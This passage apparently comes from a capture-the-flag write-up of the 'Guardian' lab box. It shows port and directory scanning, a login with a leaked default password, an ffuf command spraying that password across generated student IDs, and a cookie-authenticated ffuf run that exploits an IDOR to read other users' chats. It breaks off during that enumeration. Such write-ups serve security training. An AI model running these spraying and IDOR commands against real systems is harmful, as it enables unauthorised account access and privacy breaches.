HTB: Guardian
Guardian is a Linux box hosting a university portal built with PHP. I’ll exploit an IDOR in the chat feature to find Gitea credentials, then use the source code to identify a vulnerability in PhpSpreadsheet that allows XSS through a malicious XLSX file to steal a lecturer’s session cookie. From the lecturer account, I’ll combine a CSRF vulnerability with a weak CSRF token implementation to create an admin account. As admin, I’ll abuse a local file include with PHP filter chain injection to get RCE. After cracking a database password hash, I’ll pivot through users by modifying a writable Python script. I’ll escalate to root abusing a silly binary wrapper around apache2ctl many ways.
Box Info
Recon
Initial Scanning
nmap finds two open TCP ports, SSH (22) and HTTP (80):
oxdf@hacky$ sudo nmap -p- -vvv --min-rate 10000 10.129.237.248
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-02-22 18:28 UTC
...[snip]...
Nmap scan report for 10.129.237.248
Host is up, received timestamp-reply ttl 63 (0.025s latency).
Scanned at 2026-02-22 18:28:48 UTC for 9s
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 10.20 seconds
Raw packets sent: 86899 (3.824MB) | Rcvd: 65641 (2.626MB)
oxdf@hacky$ sudo nmap -p 22,80 -sCV 10.129.237.248
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-02-22 18:29 UTC
Nmap scan report for 10.129.237.248
Host is up (0.021s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 9c:69:53:e1:38:3b:de:cd:42:0a:c8:6b:f8:95:b3:62 (ECDSA)
|_ 256 3c:aa:b9:be:17:2d:5e:99:cc:ff:e1:91:90:38:b7:39 (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://guardian.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: _default_; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.67 seconds
Based on the OpenSSH and Apache versions, the host is likely running Ubuntu 22.04 jammy LTS (or maybe 22.10 kinetic).
Both ports show a TTL of 63, which matches the expected TTL for Linux one hop away.
Apache is redirecting the request to guardian.htb.
Subdomain Brute Force - TCP 80
Given the use of hostname based routing, I’ll brute force for subdomains of guardian.htb that respond differently from the default case using ffuf:
oxdf@hacky$ ffuf -u http://10.129.237.248 -H "Host: FUZZ.guardian.htb" -w /opt/SecLists/Discovery/DNS/subdomains-top1million-20000.txt -ac
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://10.129.237.248
:: Wordlist : FUZZ: /opt/SecLists/Discovery/DNS/subdomains-top1million-20000.txt
:: Header : Host: FUZZ.guardian.htb
:: Follow redirects : false
:: Calibration : true
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
portal [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 41ms]
:: Progress: [19966/19966] :: Job [1/1] :: 1834 req/sec :: Duration: [0:00:15] :: Errors: 0 ::
It finds portal.guardian.htb. I’ll update my /etc/hosts file:
10.129.237.248 guardian.htb portal.guardian.htb
guardian.htb - TCP 80
Site
The site is for a university:
In the “Student Testimonials” section, there are three names with email addresses:
The ID seems to be “GUxxxxxx” (where the x is a digit). Moreover, it seems to be three digits and maybe a year, as the three IDs end in 2023 or 2025. There’s a reference to admissions@guardian.htb at the bottom next to the “Contact Us” form:
Submitting the form does pop up an alert box:
But no request is sent to the server, so this is nothing.
There’s a link at the top to portal.guardian.htb. The rest of the links lead to anchors on this page.
Tech Stack
The HTTP response headers just show Apache:
HTTP/1.1 200 OK
Date: Sun, 22 Feb 2026 18:33:09 GMT
Server: Apache/2.4.52 (Ubuntu)
Last-Modified: Thu, 10 Jul 2025 16:06:12 GMT
ETag: "1a55-639955f4c2500-gzip"
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Length: 6741
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html
The main page loads as both / and /index.html, which further suggests a static site. The 404 page is the default Apache 404:
Directory Brute Force
I’ll run feroxbuster against the site, but it doesn’t find anything interesting:
oxdf@hacky$ feroxbuster -u http://guardian.htb
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.11.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://guardian.htb
🚀 Threads │ 50
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.11.0
🔎 Extract Links │ true
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404 GET 9l 31w 274c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
403 GET 9l 28w 277c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
301 GET 9l 28w 309c http://guardian.htb/js => http://guardian.htb/js/
301 GET 9l 28w 317c http://guardian.htb/javascript => http://guardian.htb/javascript/
301 GET 9l 28w 313c http://guardian.htb/images => http://guardian.htb/images/
301 GET 9l 28w 310c http://guardian.htb/css => http://guardian.htb/css/
200 GET 31l 84w 919c http://guardian.htb/js/scripts.js
200 GET 296l 575w 5104c http://guardian.htb/css/styles.css
200 GET 156l 447w 6741c http://guardian.htb/
301 GET 9l 28w 324c http://guardian.htb/javascript/jquery => http://guardian.htb/javascript/jquery/
200 GET 10879l 44396w 288550c http://guardian.htb/javascript/jquery/jquery
[####################] - 65s 180023/180023 0s found:9 errors:70
[####################] - 64s 30000/30000 466/s http://guardian.htb/
[####################] - 64s 30000/30000 467/s http://guardian.htb/js/
[####################] - 64s 30000/30000 469/s http://guardian.htb/javascript/
[####################] - 62s 30000/30000 487/s http://guardian.htb/javascript/jquery/
[####################] - 61s 30000/30000 488/s http://guardian.htb/images/
[####################] - 60s 30000/30000 497/s http://guardian.htb/css/
portal.guardian.htb - TCP 80
Site
The portal site offers a login:
The “Forgot Password” link leads to a form where I can enter an ID and it says it’ll send an email:
Entering one shows what a secure site would show by not confirming if it is a valid ID or not:
On visiting the login page, there’s a temporary pop-up at the top right:
This leads to the same path as the “Help” link, which loads /static/downloads/Guardian_University_Student_Portal_Guide.pdf:
There’s another email address, support@guardian.htb, but also a default password! The metadata on the PDF shows it was created with python-docx:
oxdf@hacky$ exiftool Guardian_University_Student_Portal_Guide.pdf
ExifTool Version Number : 12.76
File Name : Guardian_University_Student_Portal_Guide.pdf
Directory : .
File Size : 119 kB
File Modification Date/Time : 2025:07:10 16:06:12+00:00
File Access Date/Time : 2026:02:23 13:55:21+00:00
File Inode Change Date/Time : 2026:02:23 13:55:23+00:00
File Permissions : -rwxrwx---
File Type : PDF
File Type Extension : pdf
MIME Type : application/pdf
PDF Version : 1.7
Linearized : No
Page Count : 1
Language : en
Tagged PDF : Yes
XMP Toolkit : 3.1-701
Producer : Microsoft® Word 2016
Creator : python-docx
Creator Tool : Microsoft® Word 2016
Create Date : 2025:01:05 10:18:32+02:00
Modify Date : 2025:01:05 10:18:32+02:00
Document ID : uuid:F7151B96-BF19-4C88-9F67-62962DCDD93D
Instance ID : uuid:F7151B96-BF19-4C88-9F67-62962DCDD93D
Author : python-docx
Tech Stack
The site is using PHP, as shown in the URL paths including /login.php and /forgot.php. The HTTP response headers also set a PHP cookie on initial interaction:
HTTP/1.1 302 Found
Date: Sun, 22 Feb 2026 18:40:28 GMT
Server: Apache/2.4.52 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Set-Cookie: PHPSESSID=ht2atm7aip5jqku6531oabqone; path=/
Location: /login.php
Content-Length: 0
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
The 404 page is still the default Apache 404.
Directory Brute Force
I’ll run feroxbuster against the site, and include -x php to check for .php files:
oxdf@hacky$ feroxbuster -u http://portal.guardian.htb -x php
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.11.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://portal.guardian.htb
🚀 Threads │ 50
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.11.0
🔎 Extract Links │ true
💲 Extensions │ [php]
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404 GET 9l 31w 281c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
403 GET 9l 28w 284c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
404 GET 1l 3w 16c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
301 GET 9l 28w 329c http://portal.guardian.htb/includes => http://portal.guardian.htb/includes/
302 GET 0l 0w 0c http://portal.guardian.htb/ => http://portal.guardian.htb/login.php
301 GET 9l 28w 326c http://portal.guardian.htb/admin => http://portal.guardian.htb/admin/
301 GET 9l 28w 327c http://portal.guardian.htb/config => http://portal.guardian.htb/config/
200 GET 607l 3253w 210067c http://portal.guardian.htb/static/downloads/Guardian_University_Student_Portal_Guide.pdf
301 GET 9l 28w 331c http://portal.guardian.htb/javascript => http://portal.guardian.htb/javascript/
301 GET 9l 28w 327c http://portal.guardian.htb/static => http://portal.guardian.htb/static/
302 GET 0l 0w 0c http://portal.guardian.htb/index.php => http://portal.guardian.htb/login.php
302 GET 0l 0w 0c http://portal.guardian.htb/logout.php => http://portal.guardian.htb/login.php
301 GET 9l 28w 327c http://portal.guardian.htb/models => http://portal.guardian.htb/models/
200 GET 84l 184w 2900c http://portal.guardian.htb/login.php
301 GET 9l 28w 327c http://portal.guardian.htb/vendor => http://portal.guardian.htb/vendor/
301 GET 9l 28w 328c http://portal.guardian.htb/student => http://portal.guardian.htb/student/
200 GET 173l 316w 3286c http://portal.guardian.htb/static/styles/forgot.css
200 GET 38l 92w 1383c http://portal.guardian.htb/forgot.php
301 GET 9l 28w 334c http://portal.guardian.htb/static/styles => http://portal.guardian.htb/static/styles/
200 GET 0l 0w 0c http://portal.guardian.htb/config/db.php
302 GET 0l 0w 0c http://portal.guardian.htb/admin/users.php => http://portal.guardian.htb/login.php
200 GET 0l 0w 0c http://portal.guardian.htb/includes/auth.php
302 GET 0l 0w 0c http://portal.guardian.htb/admin/chat.php => http://portal.guardian.htb/login.php
302 GET 0l 0w 0c http://portal.guardian.htb/admin/profile.php => http://portal.guardian.htb/login.php
302 GET 0l 0w 0c http://portal.guardian.htb/admin/index.php => http://portal.guardian.htb/login.php
200 GET 0l 0w 0c http://portal.guardian.htb/config/config.php
301 GET 9l 28w 337c http://portal.guardian.htb/static/downloads => http://portal.guardian.htb/static/downloads/
302 GET 0l 0w 0c http://portal.guardian.htb/student/home.php => http://portal.guardian.htb/login.php
301 GET 9l 28w 334c http://portal.guardian.htb/admin/reports => http://portal.guardian.htb/admin/reports/
302 GET 0l 0w 0c http://portal.guardian.htb/admin/reports.php => http://portal.guardian.htb/login.php
200 GET 0l 0w 0c http://portal.guardian.htb/models/User.php
301 GET 9l 28w 338c http://portal.guardian.htb/javascript/jquery => http://portal.guardian.htb/javascript/jquery/
301 GET 9l 28w 335c http://portal.guardian.htb/includes/admin => http://portal.guardian.htb/includes/admin/
301 GET 9l 28w 334c http://portal.guardian.htb/static/vendor => http://portal.guardian.htb/static/vendor/
302 GET 0l 0w 0c http://portal.guardian.htb/admin/settings.php => http://portal.guardian.htb/login.php
302 GET 0l 0w 0c http://portal.guardian.htb/admin/courses.php => http://portal.guardian.htb/login.php
301 GET 9l 28w 337c http://portal.guardian.htb/includes/student => http://portal.guardian.htb/includes/student/
200 GET 1l 30245w 2934019c http://portal.guardian.htb/static/vendor/tailwindcss/tailwind.min.css
200 GET 27l 51w 763c http://portal.guardian.htb/admin/reports/system.php
200 GET 10879l 44396w 288550c http://portal.guardian.htb/javascript/jquery/jquery
302 GET 0l 0w 0c http://portal.guardian.htb/student/course.php => http://portal.guardian.htb/login.php
200 GET 88l 171w 3286c http://portal.guardian.htb/includes/admin/sidebar.php
301 GET 9l 28w 334c http://portal.guardian.htb/admin/notices => http://portal.guardian.htb/admin/notices/
302 GET 0l 0w 0c http://portal.guardian.htb/student/notices.php => http://portal.guardian.htb/login.php
200 GET 34l 70w 1198c http://portal.guardian.htb/admin/reports/academic.php
302 GET 0l 0w 0c http://portal.guardian.htb/admin/notices/index.php => http://portal.guardian.htb/login.php
200 GET 70l 142w 2734c http://portal.guardian.htb/includes/student/sidebar.php
200 GET 45l 82w 1424c http://portal.guardian.htb/admin/reports/financial.php
200 GET 0l 0w 0c http://portal.guardian.htb/admin/notices/delete.php
302 GET 0l 0w 0c http://portal.guardian.htb/admin/chats.php => http://portal.guardian.htb/login.php
302 GET 0l 0w 0c http://portal.guardian.htb/admin/notices/create.php => http://portal.guardian.htb/login.php
200 GET 0l 0w 0c http://portal.guardian.htb/models/Message.php
302 GET 0l 0w 0c http://portal.guardian.htb/student/submission.php => http://portal.guardian.htb/login.php
302 GET 0l 0w 0c http://portal.guardian.htb/student/assignments.php => http://portal.guardian.htb/login.php
200 GET 0l 0w 0c http://portal.guardian.htb/models/Course.php
200 GET 0l 0w 0c http://portal.guardian.htb/models/Program.php
200 GET 47l 99w 1628c http://portal.guardian.htb/admin/reports/enrollment.php
200 GET 0l 0w 0c http://portal.guardian.htb/models/Notice.php
302 GET 0l 0w 0c http://portal.guardian.htb/admin/notices/approve.php => http://portal.guardian.htb/login.php
301 GET 9l 28w 336c http://portal.guardian.htb/vendor/composer => http://portal.guardian.htb/vendor/composer/
200 GET 21l 168w 1070c http://portal.guardian.htb/vendor/composer/LICENSE
200 GET 0l 0w 0c http://portal.guardian.htb/vendor/composer/installed.php
[####################] - 13m 540087/540087 0s found:59 errors:59357
[####################] - 9m 30000/30000 53/s http://portal.guardian.htb/
[####################] - 11m 30000/30000 46/s http://portal.guardian.htb/includes/
[####################] - 11m 30000/30000 46/s http://portal.guardian.htb/admin/
[####################] - 11m 30000/30000 47/s http://portal.guardian.htb/config/
[####################] - 11m 30000/30000 46/s http://portal.guardian.htb/javascript/
[####################] - 11m 30000/30000 47/s http://portal.guardian.htb/static/
[####################] - 11m 30000/30000 44/s http://portal.guardian.htb/models/
[####################] - 11m 30000/30000 45/s http://portal.guardian.htb/vendor/
[####################] - 11m 30000/30000 46/s http://portal.guardian.htb/student/
[####################] - 11m 30000/30000 47/s http://portal.guardian.htb/static/downloads/
[####################] - 11m 30000/30000 45/s http://portal.guardian.htb/static/styles/
[####################] - 11m 30000/30000 46/s http://portal.guardian.htb/admin/reports/
[####################] - 11m 30000/30000 46/s http://portal.guardian.htb/javascript/jquery/
[####################] - 11m 30000/30000 46/s http://portal.guardian.htb/static/vendor/
[####################] - 11m 30000/30000 47/s http://portal.guardian.htb/includes/admin/
[####################] - 11m 30000/30000 47/s http://portal.guardian.htb/includes/student/
[####################] - 10m 30000/30000 50/s http://portal.guardian.htb/admin/notices/
[####################] - 4m 30000/30000 116/s http://portal.guardian.htb/vendor/composer/
/admin redirects to /login.php. /config returns a 403 forbidden.
There’s a /models/ directory with PHP files like User.php and Message.php. These are all 0 bytes inside, which suggest PHP files that have code that doesn’t output anything directly, but instead are meant to be included and used.
I’ll note /vendor/composer shows the use of the Composer PHP dependency manager.
There are several pages in /admin/reports that return pages. For example, /admin/reports/financial.php:
On a production system this would be a finding of an information leak. I suspect in a CTF setting this is just forgetting to put authentication controls on these files which are likely included by some kind of dashboard. All of the other paths in /admin redirect to /login.php.
There are other paths that should be behind auth as well, like /includes/student/sidebar.php, but it isn’t super useful to me:
All of the links end up back at /login.php.
Shell as www-data
Site Login as Student
There’s a default password of “GU1234”, and I have three user IDs from the testimonials on the page. It turns out that GU0142023 didn’t change theirs and I can login. I can also fuzz this with ffuf:
oxdf@hacky$ ffuf -u 'http://portal.guardian.htb/login.php' -d 'username=GUCOUNTYEAR&password=GU1234' -w <( seq -w 000 999):COUNT -w <( seq 2020 2026):YEAR -H "Content-Type: application/x-www-form-urlencoded" -ac
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : POST
:: URL : http://portal.guardian.htb/login.php
:: Wordlist : COUNT: /dev/fd/63
:: Wordlist : YEAR: /dev/fd/62
:: Header : Content-Type: application/x-www-form-urlencoded
:: Data : username=GUCOUNTYEAR&password=GU1234
:: Follow redirects : false
:: Calibration : true
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
[Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 26ms]
* COUNT: 014
* YEAR: 2023
:: Progress: [7000/7000] :: Job [1/1] :: 323 req/sec :: Duration: [0:00:11] :: Errors: 0 ::
This only finds the same account, but it’s a neat use of ffuf with two word lists. I’m using two less common things here. First, since ffuf only takes files as wordlists, I’m using bash process substitution to generate temp files full of the output of seq commands to generate lists of numbers. Next, with multiple -w parameters, I can use the format -w <filename>:<marker> to specify a marker for each list. In this case, I’m using COUNT for the counter from 0 to 999, and YEAR for the year (from 2020 - 2026). By default, ffuf will try all possible combinations, which is what I want here. I could use -mode to change that.
Gitea Access
Authenticated Enumeration
The authenticated page leads to a dashboard:
There are pages in the side menu for Courses, Assignments, Grads, Chats, and Notices, as well as a place to update the user’s profile and logout. This user is enrolled in four courses (and the date seems to always be today):
They have six open assignments, five of which are very late, and one of which seems to always be in the future:
Trying to view an overdue assignment pops an alert:
“View Details” on the “Upcoming” assignment has a submission form:
It accepts .docx and .xlsx.
The chat allows for chat between two users:
The existing chats aren’t that interesting:
There’s a dropdown menu to select users to chat with a long list of users, some of which have a first.last format, and others the GUXXXYYYY format:
IDOR
In the dropdown menu, the names and GUXXXYYYY user IDs map to values from 1 to 62, with 11, 13, and 14 missing from the list.
The URL for viewing a chat is something like /student/chat.php?chat_users[0]=13&chat_users[1]=14. It seems to take an array of chat_users with IDs that line up to the dropdown values. For both existing chats, the chat_user[0] is 13, and the chat_user[1] is 11 or 14.
If I try simply changing the ids, most of the time I get an empty chat (which likely means there are no messages between those users). But for some pairs, I get their chats. For example, setting the IDs to 39 and 40 returns these messages from two other users:
There’s nothing interesting about these chats, but GU0142023 should not be reading them.
I’ll use ffuf to look for chats that aren’t empty:
oxdf@hacky$ ffuf -u 'http://portal.guardian.htb/student/chat.php?chat_users[0]=NUM1&chat_users[1]=NUM2' -w <( seq 1 62):NUM1 -w <( seq 1 62):NUM2 -H 'Cookie: PHPSESSID=ht2atm7aip5jqku6531oabqone' -ac -o chats.json -of json
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://portal.guardian.htb/student/chat.php?chat_users[0]=NUM1&chat_users[1]=NUM2
:: Wordlist : NUM1: /dev/fd/63
:: Wordlist : NUM2: /dev/fd/62
:: Header : Cookie: PHPSESSID=ht2atm7aip5jqku6531oabqone
:: Output file : chats.json
:: File format : json
:: Follow redirects : false
:: Calibration : true
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
[Status: 200, Size: 7306, Words: 3055, Lines: 185, Duration: 29ms]
* NUM1: 2
* NUM2: 1
[Status: 200, Size: 6796, Words: 2763, Lines: 178, Duration: 3234ms]
* NUM1: 4
* NUM2: 1
[Status: 200, Size: 6838, Words: 2768, Lines: 178, Duration: 4733ms]
* NUM1: 3
* NUM2: 1
[Status: 200, Size: 7302, Words: 3055, Lines: 185, Duration: 60ms]
* NUM1: 1
* NUM2: 2
[Status: 200, Size: 6849, Words: 2769, Lines: 178, Duration: 61ms]
* NUM1: 5
* NUM2: 2
[Status: 200, Size: 6847, Words: 2770, Lines: 178, Duration: 77ms]
* NUM1: 3
* NUM2: 2
[Status: 200, Size: 6838, Words: 2768, Lines: 178, Duration: 50ms]
* NUM1: 1
* NUM2: 3
[Status: 200, Size: 6859, Words: 2772, Lines: 178, Duration: 50ms]
* NUM1: 4
* NUM2: 3
[Status: 200, Size: 6847, Words: 2770, Lines: 178, Duration: 57ms]
* NUM1: 2
* NUM2: 3
[Status: 200, Size: 6796, Words: 2763, Lines: 178, Duration: 49ms]
* NUM1: 1
* NUM2: 4
[Status: 200, Size: 6859, Words: 2772, Lines: 178, Duration: 49ms]
* NUM1: 3
* NUM2: 4
[Status: 200, Size: 6853, Words: 2772, Lines: 178, Duration: 56ms]
* NUM1: 6
* NUM2: 4
[Status: 200, Size: 6849, Words: 2769, Lines: 178, Duration: 41ms]
* NUM1: 2
* NUM2: 5
[Status: 200, Size: 6838, Words: 2768, Lines: 178, Duration: 46ms]
* NUM1: 6
* NUM2: 5
[Status: 200, Size: 6838, Words: 2768, Lines: 178, Duration: 43ms]
* NUM1: 5
* NUM2: 6
[Status: 200, Size: 6853, Words: 2772, Lines: 178, Duration: 47ms]
* NUM1: 4
* NUM2: 6
[Status: 200, Size: 6823, Words: 2766, Lines: 178, Duration: 45ms]
* NUM1: 8
* NUM2: 7
[Status: 200, Size: 6850, Words: 2774, Lines: 178, Duration: 50ms]
* NUM1: 9
* NUM2: 7
[Status: 200, Size: 6865, Words: 2773, Lines: 178, Duration: 42ms]
* NUM1: 10
* NUM2: 8
[Status: 200, Size: 6823, Words: 2766, Lines: 178, Duration: 52ms]
* NUM1: 7
* NUM2: 8
[Status: 200, Size: 6850, Words: 2774, Lines: 178, Duration: 38ms]
* NUM1: 7
* NUM2: 9
[Status: 200, Size: 6859, Words: 2773, Lines: 178, Duration: 39ms]
* NUM1: 10
* NUM2: 9
[Status: 200, Size: 6859, Words: 2773, Lines: 178, Duration: 36ms]
* NUM1: 9
* NUM2: 10
[Status: 200, Size: 6865, Words: 2773, Lines: 178, Duration: 47ms]
* NUM1: 8
* NUM2: 10
[Status: 200, Size: 6859, Words: 2771, Lines: 178, Duration: 37ms]
* NUM1: 12
* NUM2: 11
[Status: 200, Size: 6808, Words: 2762, Lines: 178, Duration: 38ms]
* NUM1: 13
* NUM2: 11
[Status: 200, Size: 6859, Words: 2771, Lines: 178, Duration: 43ms]
* NUM1: 11
* NUM2: 12
[Status: 200, Size: 6837, Words: 2769, Lines: 178, Duration: 43ms]
* NUM1: 14
* NUM2: 12
[Status: 200, Size: 6808, Words: 2762, Lines: 178, Duration: 50ms]
* NUM1: 11
* NUM2: 13
[Status: 200, Size: 6826, Words: 2769, Lines: 178, Duration: 57ms]
* NUM1: 14
* NUM2: 13
[Status: 200, Size: 6826, Words: 2769, Lines: 178, Duration: 59ms]
* NUM1: 13
* NUM2: 14
[Status: 200, Size: 6837, Words: 2769, Lines: 178, Duration: 60ms]
* NUM1: 12
* NUM2: 14
[Status: 200, Size: 6854, Words: 2773, Lines: 178, Duration: 37ms]
* NUM1: 17
* NUM2: 15
[Status: 200, Size: 6854, Words: 2774, Lines: 178, Duration: 38ms]
* NUM1: 16
* NUM2: 15
[Status: 200, Size: 6854, Words: 2774, Lines: 178, Duration: 40ms]
* NUM1: 15
* NUM2: 16
[Status: 200, Size: 6861, Words: 2775, Lines: 178, Duration: 45ms]
* NUM1: 18
* NUM2: 16
[Status: 200, Size: 6854, Words: 2773, Lines: 178, Duration: 45ms]
* NUM1: 15
* NUM2: 17
[Status: 200, Size: 6850, Words: 2772, Lines: 178, Duration: 61ms]
* NUM1: 18
* NUM2: 17
[Status: 200, Size: 6850, Words: 2772, Lines: 178, Duration: 38ms]
* NUM1: 17
* NUM2: 18
[Status: 200, Size: 6861, Words: 2775, Lines: 178, Duration: 42ms]
* NUM1: 16
* NUM2: 18
[Status: 200, Size: 6858, Words: 2775, Lines: 178, Duration: 53ms]
* NUM1: 20
* NUM2: 19
[Status: 200, Size: 6871, Words: 2773, Lines: 178, Duration: 55ms]
* NUM1: 21
* NUM2: 19
[Status: 200, Size: 6858, Words: 2775, Lines: 178, Duration: 55ms]
* NUM1: 19
* NUM2: 20
[Status: 200, Size: 6838, Words: 2772, Lines: 178, Duration: 60ms]
* NUM1: 22
* NUM2: 20
[Status: 200, Size: 6871, Words: 2773, Lines: 178, Duration: 71ms]
* NUM1: 19
* NUM2: 21
[Status: 200, Size: 6838, Words: 2772, Lines: 178, Duration: 55ms]
* NUM1: 20
* NUM2: 22
[Status: 200, Size: 6859, Words: 2773, Lines: 178, Duration: 41ms]
* NUM1: 24
* NUM2: 23
[Status: 200, Size: 6859, Words: 2773, Lines: 178, Duration: 39ms]
* NUM1: 23
* NUM2: 24
[Status: 200, Size: 6858, Words: 2776, Lines: 178, Duration: 45ms]
* NUM1: 26
* NUM2: 25
[Status: 200, Size: 6858, Words: 2776, Lines: 178, Duration: 41ms]
* NUM1: 25
* NUM2: 26
[Status: 200, Size: 6809, Words: 2766, Lines: 178, Duration: 47ms]
* NUM1: 28
* NUM2: 27
[Status: 200, Size: 6809, Words: 2766, Lines: 178, Duration: 52ms]
* NUM1: 27
* NUM2: 28
[Status: 200, Size: 6841, Words: 2771, Lines: 178, Duration: 72ms]
* NUM1: 30
* NUM2: 29
[Status: 200, Size: 6841, Words: 2771, Lines: 178, Duration: 46ms]
* NUM1: 29
* NUM2: 30
[Status: 200, Size: 6849, Words: 2770, Lines: 178, Duration: 53ms]
* NUM1: 32
* NUM2: 31
[Status: 200, Size: 6849, Words: 2770, Lines: 178, Duration: 66ms]
* NUM1: 31
* NUM2: 32
[Status: 200, Size: 6839, Words: 2769, Lines: 178, Duration: 52ms]
* NUM1: 34
* NUM2: 33
[Status: 200, Size: 6839, Words: 2769, Lines: 178, Duration: 41ms]
* NUM1: 33
* NUM2: 34
[Status: 200, Size: 6835, Words: 2770, Lines: 178, Duration: 578ms]
* NUM1: 36
* NUM2: 35
[Status: 200, Size: 6835, Words: 2770, Lines: 178, Duration: 48ms]
* NUM1: 35
* NUM2: 36
[Status: 200, Size: 6826, Words: 2770, Lines: 178, Duration: 54ms]
* NUM1: 38
* NUM2: 37
[Status: 200, Size: 6826, Words: 2770, Lines: 178, Duration: 60ms]
* NUM1: 37
* NUM2: 38
[Status: 200, Size: 6827, Words: 2770, Lines: 178, Duration: 59ms]
* NUM1: 40
* NUM2: 39
[Status: 200, Size: 6827, Words: 2770, Lines: 178, Duration: 63ms]
* NUM1: 39
* NUM2: 40
:: Progress: [3844/3844] :: Job [1/1] :: 966 req/sec :: Duration: [0:00:10] :: Errors: 0 ::
I’ve fuzzed from 1 to 62 for both IDs, and am including my cookie so I’m authenticated. I’m saving the results as json to chats.json so I can easily interact with them. On first thought, there are 64 chats to check, and I can print the URLs:
oxdf@hacky$ cat chats.json | jq .results[] -c | wc -l
64
oxdf@hacky$ cat chats.json | jq .results[].url -r
http://portal.guardian.htb/student/chat.php?chat_users[0]=2&chat_users[1]=1
http://portal.guardian.htb/student/chat.php?chat_users[0]=4&chat_users[1]=1
http://portal.guardian.htb/student/chat.php?chat_users[0]=3&chat_users[1]=1
http://portal.guardian.htb/student/chat.php?chat_users[0]=1&chat_users[1]=2
http://portal.guardian.htb/student/chat.php?chat_users[0]=5&chat_users[1]=2
http://portal.guardian.htb/student/chat.php?chat_users[0]=3&chat_users[1]=2
http://portal.guardian.htb/student/chat.php?chat_users[0]=1&chat_users[1]=3
http://portal.guardian.htb/student/chat.php?chat_users[0]=4&chat_users[1]=3
http://portal.guardian.htb/student/chat.php?chat_users[0]=2&chat_users[1]=3
http://portal.guardian.htb/student/chat.php?chat_users[0]=1&chat_users[1]=4
http://portal.guardian.htb/student/chat.php?chat_users[0]=3&chat_users[1]=4
http://portal.guardian.htb/student/chat.php?chat_users[0]=6&chat_users[1]=4
http://portal.guardian.htb/student/chat.php?chat_users[0]=2&chat_users[1]=5
http://portal.guardian.htb/student/chat.php?chat_users[0]=6&chat_users[1]=5
http://portal.guardian.htb/student/chat.php?chat_users[0]=5&chat_users[1]=6
http://portal.guardian.htb/student/chat.php?chat_users[0]=4&chat_users[1]=6
http://portal.guardian.htb/student/chat.php?chat_users[0]=8&chat_users[1]=7
http://portal.guardian.htb/student/chat.php?chat_users[0]=9&chat_users[1]=7
http://portal.guardian.htb/student/chat.php?chat_users[0]=10&chat_users[1]=8
